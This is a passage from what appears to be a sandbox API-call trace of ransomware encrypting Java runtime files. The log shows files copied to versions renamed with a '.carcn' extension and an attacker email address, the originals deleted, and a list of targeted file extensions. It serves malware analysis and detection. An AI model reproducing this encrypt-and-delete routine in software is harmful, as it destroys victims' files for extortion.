lpOverlapped=0x0) returned 1 [0266.249] SetEndOfFile (hFile=0x524) returned 1 [0266.249] CloseHandle (hObject=0x524) returned 1 [0266.917] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0266.917] SetEndOfFile (hFile=0x55c) returned 1 [0266.945] CloseHandle (hObject=0x55c) returned 1 [0266.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0266.946] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0266.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.947] lstrlenW (lpString=".doc") returned 4 [0266.947] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0266.947] lstrlenW (lpString=".docx") returned 5 [0266.947] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0266.947] lstrlenW (lpString=".pdf") returned 4 [0266.947] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0266.947] lstrlenW (lpString=".xls") returned 4 [0266.947] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0266.948] lstrlenW (lpString=".xlsx") returned 5 [0266.948] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0266.948] lstrlenW (lpString=".ppt") returned 4 [0266.948] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0266.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.948] lstrlenW (lpString=".zip") returned 4 [0266.948] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0266.948] lstrlenW (lpString=".rar") returned 4 [0266.948] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0266.948] lstrlenW (lpString=".bz2") returned 4 [0266.948] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0266.948] lstrlenW (lpString=".7z") returned 3 [0266.948] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0266.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.948] lstrlenW (lpString=".dbf") returned 4 [0266.948] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0266.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.948] lstrlenW (lpString=".1cd") returned 4 [0266.948] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0266.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.948] lstrlenW (lpString=".jpg") returned 4 [0266.948] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0266.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.949] lstrlenW (lpString=".doc") returned 4 [0266.949] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0266.949] lstrlenW (lpString=".docx") returned 5 [0266.949] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0266.949] lstrlenW (lpString=".pdf") returned 4 [0266.949] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0266.949] lstrlenW (lpString=".xls") returned 4 [0266.949] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0266.949] lstrlenW (lpString=".xlsx") returned 5 [0266.949] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0266.949] lstrlenW (lpString=".ppt") returned 4 [0266.949] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0266.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.949] lstrlenW (lpString=".zip") returned 4 [0266.949] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0266.949] lstrlenW (lpString=".rar") returned 4 [0266.949] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0266.949] lstrlenW (lpString=".bz2") returned 4 [0266.949] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0266.949] lstrlenW (lpString=".7z") returned 3 [0266.949] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0266.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.949] lstrlenW (lpString=".dbf") returned 4 [0266.949] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0266.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.950] lstrlenW (lpString=".1cd") returned 4 [0266.950] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0266.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0266.950] lstrlenW (lpString=".jpg") returned 4 [0266.950] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0266.950] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0266.950] lstrlenW (lpString="logging.properties") returned 18 [0266.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0266.951] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=2455) returned 1 [0266.951] CloseHandle (hObject=0x55c) returned 1 [0266.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0266.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.951] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0266.952] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0266.952] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0266.952] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0266.952] GetLastError () returned 0x0 [0266.952] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x997, lpOverlapped=0x0) returned 1 [0267.174] WriteFile (in: hFile=0x374, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x9a0, lpOverlapped=0x0) returned 1 [0267.177] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0267.178] WriteFile (in: hFile=0x374, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xf8, lpOverlapped=0x0) returned 1 [0267.178] SetEndOfFile (hFile=0x374) returned 1 [0267.919] CloseHandle (hObject=0x374) returned 1 [0267.921] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0267.921] SetEndOfFile (hFile=0x55c) returned 1 [0267.925] CloseHandle (hObject=0x55c) returned 1 [0267.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.926] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0267.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.927] lstrlenW (lpString=".doc") returned 4 [0267.927] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0267.927] lstrlenW (lpString=".docx") returned 5 [0267.927] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0267.927] lstrlenW (lpString=".pdf") returned 4 [0267.927] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0267.927] lstrlenW (lpString=".xls") returned 4 [0267.927] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0267.927] lstrlenW (lpString=".xlsx") returned 5 [0267.927] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0267.927] lstrlenW (lpString=".ppt") returned 4 [0267.927] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0267.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.927] lstrlenW (lpString=".zip") returned 4 [0267.927] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0267.927] lstrlenW (lpString=".rar") returned 4 [0267.927] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0267.927] lstrlenW (lpString=".bz2") returned 4 [0267.927] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0267.927] lstrlenW (lpString=".7z") returned 3 [0267.927] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0267.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.928] lstrlenW (lpString=".dbf") returned 4 [0267.928] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.928] lstrlenW (lpString=".1cd") returned 4 [0267.928] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.928] lstrlenW (lpString=".jpg") returned 4 [0267.928] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.928] lstrlenW (lpString=".doc") returned 4 [0267.928] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString=".docx") returned 5 [0267.928] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0267.928] lstrlenW (lpString=".pdf") returned 4 [0267.928] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString=".xls") returned 4 [0267.928] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString=".xlsx") returned 5 [0267.928] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0267.928] lstrlenW (lpString=".ppt") returned 4 [0267.928] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.928] lstrlenW (lpString=".zip") returned 4 [0267.928] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0267.928] lstrlenW (lpString=".rar") returned 4 [0267.929] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0267.929] lstrlenW (lpString=".bz2") returned 4 [0267.929] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0267.929] lstrlenW (lpString=".7z") returned 3 [0267.929] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0267.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.929] lstrlenW (lpString=".dbf") returned 4 [0267.929] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0267.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.929] lstrlenW (lpString=".1cd") returned 4 [0267.929] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0267.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0267.929] lstrlenW (lpString=".jpg") returned 4 [0267.929] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0267.929] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0267.929] lstrlenW (lpString="net.properties") returned 14 [0267.929] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0267.930] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=4464) returned 1 [0267.930] CloseHandle (hObject=0x55c) returned 1 [0267.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0267.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.931] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0267.931] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0267.931] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0267.931] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0267.932] GetLastError () returned 0x0 [0267.932] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1170, lpOverlapped=0x0) returned 1 [0267.945] WriteFile (in: hFile=0x374, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1180, lpOverlapped=0x0) returned 1 [0267.946] ReadFile (in: hFile=0x55c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0267.946] WriteFile (in: hFile=0x374, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xf0, lpOverlapped=0x0) returned 1 [0267.946] SetEndOfFile (hFile=0x374) returned 1 [0267.946] CloseHandle (hObject=0x374) returned 1 [0267.952] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0267.952] SetEndOfFile (hFile=0x55c) returned 1 [0267.956] CloseHandle (hObject=0x55c) returned 1 [0267.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0267.956] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0267.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.957] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.957] lstrlenW (lpString=".doc") returned 4 [0267.957] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0267.957] lstrlenW (lpString=".docx") returned 5 [0267.957] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0267.957] lstrlenW (lpString=".pdf") returned 4 [0267.957] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0267.957] lstrlenW (lpString=".xls") returned 4 [0267.957] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0267.957] lstrlenW (lpString=".xlsx") returned 5 [0267.957] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0267.958] lstrlenW (lpString=".ppt") returned 4 [0267.958] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.958] lstrlenW (lpString=".zip") returned 4 [0267.958] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString=".rar") returned 4 [0267.958] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString=".bz2") returned 4 [0267.958] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString=".7z") returned 3 [0267.958] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0267.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.958] lstrlenW (lpString=".dbf") returned 4 [0267.958] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.958] lstrlenW (lpString=".1cd") returned 4 [0267.958] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.958] lstrlenW (lpString=".jpg") returned 4 [0267.958] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.958] lstrlenW (lpString=".doc") returned 4 [0267.958] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0267.958] lstrlenW (lpString=".docx") returned 5 [0267.958] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0267.959] lstrlenW (lpString=".pdf") returned 4 [0267.959] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString=".xls") returned 4 [0267.959] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString=".xlsx") returned 5 [0267.959] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0267.959] lstrlenW (lpString=".ppt") returned 4 [0267.959] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.959] lstrlenW (lpString=".zip") returned 4 [0267.959] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString=".rar") returned 4 [0267.959] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString=".bz2") returned 4 [0267.959] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString=".7z") returned 3 [0267.959] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0267.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.959] lstrlenW (lpString=".dbf") returned 4 [0267.959] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.959] lstrlenW (lpString=".1cd") returned 4 [0267.959] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0267.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0267.959] lstrlenW (lpString=".jpg") returned 4 [0267.959] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0267.960] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0267.960] lstrlenW (lpString="plugin.jar") returned 10 [0267.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0267.966] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=1923211) returned 1 [0267.967] CloseHandle (hObject=0x55c) returned 1 [0267.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0267.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0267.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0267.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0267.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0267.967] lstrlenW (lpString=".doc") returned 4 [0267.968] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0267.968] lstrlenW (lpString=".docx") returned 5 [0267.968] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0267.968] lstrlenW (lpString=".pdf") returned 4 [0267.968] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0267.968] lstrlenW (lpString=".xls") returned 4 [0267.968] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0267.968] lstrlenW (lpString=".xlsx") returned 5 [0267.968] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0268.201] lstrlenW (lpString=".ppt") returned 4 [0268.201] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.201] lstrlenW (lpString=".zip") returned 4 [0268.201] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.201] lstrlenW (lpString=".rar") returned 4 [0268.201] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.201] lstrlenW (lpString=".bz2") returned 4 [0268.201] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.201] lstrlenW (lpString=".7z") returned 3 [0268.201] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.201] lstrlenW (lpString=".dbf") returned 4 [0268.201] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.201] lstrlenW (lpString=".1cd") returned 4 [0268.201] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0268.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.201] lstrlenW (lpString=".jpg") returned 4 [0268.201] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0268.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.202] lstrlenW (lpString=".doc") returned 4 [0268.202] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0268.202] lstrlenW (lpString=".docx") returned 5 [0268.202] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0268.202] lstrlenW (lpString=".pdf") returned 4 [0268.202] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0268.202] lstrlenW (lpString=".xls") returned 4 [0268.202] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0268.202] lstrlenW (lpString=".xlsx") returned 5 [0268.202] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0268.202] lstrlenW (lpString=".ppt") returned 4 [0268.202] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0268.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.202] lstrlenW (lpString=".zip") returned 4 [0268.202] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0268.202] lstrlenW (lpString=".rar") returned 4 [0268.202] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0268.202] lstrlenW (lpString=".bz2") returned 4 [0268.202] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0268.202] lstrlenW (lpString=".7z") returned 3 [0268.202] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0268.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0268.202] lstrlenW (lpString=".dbf") returned 4 [0268.202] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0268.203] lstrlenW (lpString="C:\\Program 